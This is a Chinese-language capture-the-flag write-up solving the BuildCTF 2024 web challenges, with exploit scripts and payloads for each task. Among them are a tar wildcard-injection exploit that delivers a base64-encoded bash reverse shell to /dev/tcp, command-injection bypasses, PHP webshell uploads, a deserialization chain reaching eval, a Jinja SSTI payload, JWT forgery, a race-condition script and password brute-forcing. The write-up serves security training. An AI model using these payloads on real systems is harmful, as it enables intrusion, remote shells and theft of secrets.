BuildCTF 2024 web部分wp
打包给你
解题过程
源码如下
from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os
app = Flask(__name__)
@app.before_request
def check_uuid():
uuid_cookie = request.cookies.get('uuid', None)
if uuid_cookie is None:
response = make_response(redirect('/'))
response.set_cookie('uuid', str(uuid.uuid4()))
return response
try:
uuid.UUID(uuid_cookie)
except ValueError:
response = make_response(redirect('/'))
response.set_cookie('uuid', str(uuid.uuid4()))
return response
g.uuid = uuid_cookie
if not os.path.exists(f'uploads/{g.uuid}'):
os.mkdir(f'uploads/{g.uuid}')
@app.route('/', methods=['GET'])
def main():
return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
@app.route('/api/upload', methods=['POST'])
def upload():
file = request.files.get('file', None)
if file is None:
return 'No file provided', 400
# check for path traversal
if '..' in file.filename or '/' in file.filename:
return 'Invalid file name', 400
# check file size
if len(file.read()) > 1000:
return 'File too large', 400
file.save(f'uploads/{g.uuid}/{file.filename}')
return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200
@app.route('/api/download', methods=['GET'])
def download():
@after_this_request
def remove_file(response):
os.system(f"rm -rf uploads/{g.uuid}/out.tar")
return response
# make a tar of all files
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
# send tar to user
return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8888, threaded=True)
漏洞点在于这一段代码
linux底下有一种执行命令的方法,常用于提权,这里tar -cf out.tar ,命令执行的时候, 会匹配所有的文件名并将匹配到的 element 传入到 argv 中。但是文件名也是字符串,参数也是字符串,因此在 argv 中会出现混淆。
那么我们就可以利用"--checkpoint=1 --checkpoint-action=exec=whoami"去执行命令
因此如果我们上传两个文件名分别为 --checkpoint=1 和 --checkpoint-action=exec=whoami 的文件就能成功的去执行命令.
脚本执行后进行反弹shell
flag 在根目录,/Guess_my_name
exp或payload
import requests, base64
URL = "http://27.25.151.80:44697/"
session = requests.Session()
cmd = b"bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}'"
session.request("GET", URL)
files = {"file": ("asdfasdf", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
files = {"file": ("--checkpoint=1", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
files = {"file": (f"--checkpoint-action=exec=echo '{base64.b64encode(cmd).decode()}' | base64 -d | bash", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
resp = session.request("GET", f"{URL}/api/download")
刮刮乐
考点
1、Referer头
2、rce绕过(猜测后端代码为system($a." >/dev/null 2>&1");)
解题过程
进来就先刮,刮完就给提示参数为cmd了
然后使用cmd参数后会提示你不是来自baidu.com的人,这里使用Referer头来绕过校验
然后就不提示了,接下来使用cmd来传入参数,猜测是命令执行
但是经过测试,任何命令都不回显,>1.txt却能够写入文件,只不过文件是空的,于是可以猜测后端代码为system($c." >/dev/null 2>&1");
那么我们就可以尝试一下%0a || ; 来进行截断绕过
ls%0a
成功执行命令
我写的网站被rce了?
解题过程
给的是一个系统
在日志处用的是传入access,而不是传入access.log
拼接上1后会提示waf
拼接字符可以发现输入的字符被拼接在了access和.log之间,那么猜测可以使用%0a进行换行来绕过拼接
执行一个id看看
成功执行命令
后续还有过滤cat,空格,*号之类的,正常绕过即可
payload如下
log_type=access%0aca\t$IFS/?lag%0a
babyupload
解题过程
访问网址没给信息
直接开扫目录
扫描出来了一个upload.php
随便传了一个后门图片
被过滤了
修改mime为image/jpeg加上头部GIF89a后成功上传,添加后门代码试试
被过滤了,继续测
这里直接使用短标签来绕过
<?=`ls`?>
成功上传,但是不解析,猜测需要上传.user.ini或者是.htaccess
经过测试发现能够成功上传.htaccess
猜测flag在env环境变量中
这里也过滤了env,直接使用''拼接
成功上传
eazyl0gin
考点
javascript大小写特性,具体参考P神的文章Fuzz中的javascript大小写特性 | 离别歌
解题过程
访问题目地址
关键代码如下
由于题目需要登录的是BUILDCTF,这里可以利用toUpperCase函数特性"ı".toUpperCase() == 'I',构造BUıLDCTF来进行登录,密码md5值可以拿到cmd5中进行穷举
然后使用BUıLDCTF和012346来尝试登录
ez_md5
题目一:
$sql = "SELECT flag FROM flags WHERE password = '".md5($password,true)."'";
题目二
<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");
}else die("不是吧这么简单的md5都过不去?");
?>
考点
1、ffifdyop 在md5($password,true)中会被加密成'or'xxx
2、md5数组绕过
3、在php中参数_的替换 Build_CTF.com
4、md5的爆破 md5(114514xxxxxxx) == 3e41f780146b6c246cd49dd296a3da28
解题过程
1、输入ffifdyop绕过第一关
2、根据提示可以查看robots.txt,发现md5(114514xxxxxxx)
3、编写脚本对 md5(114514xxxxxxx) == 3e41f780146b6c246cd49dd296a3da28 进行爆破
4、get传入数组绕过第一个if检测,post传入Build[CTF.com=1145146803531即可
exp或payload
import hashlib
def md5_hash(s):
return hashlib.md5(s.encode()).hexdigest()
target_md5 = '3e41f780146b6c246cd49dd296a3da28'
prefix = '114514'
for i in range(10000000): # 可调整范围
guess = f"{prefix}{str(i).zfill(7)}" # 生成114514后接7位数
if md5_hash(guess) == target_md5:
print(f"找到匹配: {guess}")
break
else:
print("未找到匹配")
ez_waf
考点
文件上传脏数据绕waf
解题过程
经过测试,不对上传文件的后缀进行拦截,只对内容进行拦截
使用大量脏数据来绕过waf,上传后门文件
即可进行命令执行
ez!http
解题过程
查看数据包
发现传参给user了一个admin,修改为root即可
修改Referer
修改UA头
修改XFF头
修改Date头
修改From头
修改Via头
修改Accept-Language
这里我点击后拿不到flag
只需要POST传getFlag=This_is_flag即可
fake_signin
解题过程
源码如下:
import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime
app = Flask(__name__)
app.secret_key = 'BuildCTF'
CURRENT_DATE = datetime(2024, 9, 30)
users = {
'admin': {
'password': 'admin',
'signins': {},
'supplement_count': 0,
}
}
@app.route('/')
def index():
if 'user' in session:
return redirect(url_for('view_signin'))
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username]['password'] == password:
session['user'] = username
return redirect(url_for('view_signin'))
return render_template('login.html')
@app.route('/view_signin')
def view_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
signins = user['signins']
dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
for i in range(1, 31)]
today = CURRENT_DATE.strftime("%Y-%m-%d")
today_signed_in = today in signins
if len([d for d in signins.values() if d]) >= 30:
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)
@app.route('/signin')
def signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
today = CURRENT_DATE.strftime("%Y-%m-%d")
if today not in user['signins']:
user['signins'][today] = True
return redirect(url_for('view_signin'))
@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
supplement_message = ""
if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
return redirect(url_for('view_signin'))
supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)
@app.route('/logout')
def logout():
session.pop('user', None)
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5051)
源码中给了账号密码admin/admin
大概就是需要你把全部都签到完,但是只有一次的补签次数
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
这个代码是补签的逻辑,先判断补签次数,限制只能补签一次,如果没补签过,补签成功,将该日期标记为已签到并增加补签计数。
可以考虑条件竞争,直接用yakit进行并发一手或者写脚本跑
exp或payload
import requests
import threading
import time
url = 'http://27.25.151.80:44759/supplement_signin'
headers = {
"Host": "27.25.151.80:44759",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "26",
"Origin": "http://27.25.151.80:44759",
"Connection": "close",
"Referer": "http://27.25.151.80:44759/supplement_signin",
"Cookie": "session=eyJ1c2VyIjoiYWRtaW4ifQ.Zx8qqg.QPo0yebiHaEDzbzVoBzNTEX9H68",
}
def send_request(day):
data = f"supplement_date=2024-09-{day:02d}"
response = requests.post(url, headers=headers, data=data)
print(f"Day {day:02d} Response: {response.status_code} ")
with open("1.txt", "a", encoding="utf-8") as f:
f.write(f"Day {day:02d} Response: {response.status_code}\n")
f.write(response.text + "\n\n")
threads = []
for day in range(1, 31):
thread = threading.Thread(target=send_request, args=(day,))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
find-the-id
解题过程
没看懂这个题目的意义,单纯爆破
出题人让我们取爆破数字
上bp开爆
直接给了flag是我没想到的
LovePopChain
解题过程
源码如下
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}
比较常规的pop链题目,直接构造就行了。
链子思路如下
MyObject::__wakeup()->hybcx::__toString()->MyObject::__invoke()->GaoZhouYue::__clone()->eval($_POST['y3y4']);
exp或payload
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
}
class GaoZhouYue
{
public $Yuer;
public $LastOne;
}
class hybcx{
public $JiuYue;
public $Si ;
}
$a = new MyObject();
$b = new hybcx();
$a->NoLove = $b;
$b->Si = $a;
echo serialize($a);
用POST传参进行rce即可
Redflag
源码如下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/redflag/<path:redflag>')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
return flask.render_template_string(safe_jinja(redflag))
解题过程
考察SSTI
{{url_for.__globals__['current_app'].config['FLAG']}}
调用了全局对象的config中的FLAG,而代码只是检测当前对象的config变量,所以不会被过滤
sub
解题过程
访问题目平台
这里注册一个号然后进行登录,看看数据包
在返回包中可以看到jwt的值,然后源码给了我们JWT的值
源码如下
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'
DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}
messages = []
@app.route('/message', methods=['GET', 'POST'])
def message():
if request.method == 'POST':
name = request.form.get('name')
content = request.form.get('content')
messages.append({'name': name, 'content': content})
flash('Message posted')
return redirect(url_for('message'))
return render_template('message.html', messages=messages)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
flash('Username already exists')
return redirect(url_for('register'))
users[username] = {'password': generate_password_hash(password), 'role': 'user'}
flash('User registered successfully')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({
'sub': username,
'role': users[username]['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
return response
else:
return jsonify({"msg": "Invalid username or password"}), 401
return render_template('login.html')
@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt', '', expires=0)
flash('You have been logged out')
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route('/page')
def page():
jwt_token = request.cookies.get('jwt')
if jwt_token:
try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
except jwt.ExpiredSignatureError:
return jsonify({"msg": "Token has expired"}), 401
except jwt.InvalidTokenError:
return jsonify({"msg": "Invalid token"}), 401
except Exception as e:
return jsonify({"msg": "Invalid or expired token"}), 401
if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')
file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')
try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')
@app.route('/categories')
def categories():
return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5050)
可以得到JWT的secret=BuildCTF
对jwt的值进行伪造,将sub和role改为admin
访问page?file=test1.txt,这次成功进行读取了,说明成功伪造了admin的jwt
输入一点别的看看
这里可以发现报错返回了Command 'cat /var/www/html/src/docs/xxx',这里的xxx是我们输入的文件名,那么就可以猜测后端代码为system('cat /var/www/html/src/docs/xxx'),所以我们可以利用逻辑拼接来绕过
; || | %0a这些来绕过
然后能够发现无法直接使用ls /进行查看根目录的信息,这里提供两个方法
1、ls />1.txt cat 1.txt
2、;cd ..;cd ..;cd ..;cd ..;ls
然后读取flag直接cat /flag即可
tflock
解题过程
这里直接爆破会进行锁定,可以先使用ctfer进行成功登录一次,然后再进行爆破一次admin账号的密码
exp或payload
爆破脚本如下
import request
import requests
url="http://27.25.151.80:36905/login.php"
def ctfer_login():
ctf_payload = {"username": "ctfer", "password": 123456}
res = requests.post(url, data=ctf_payload)
print(res.text)
lines=[]
with open('1.txt','r') as file:
for line in file:
lines.append(line)
lines_end = [pwd.strip() for pwd in lines]
print(lines_end)
with open('1.txt', 'r') as file:
for line in file:
line = line.strip()
print(line)
admin_payload = {"username": "admin", "password": line}
print(admin_payload)
res = requests.post(url, data=admin_payload)
print(res.text)
ctfer_login()
if '"success":true' in res.text:
print(line)
break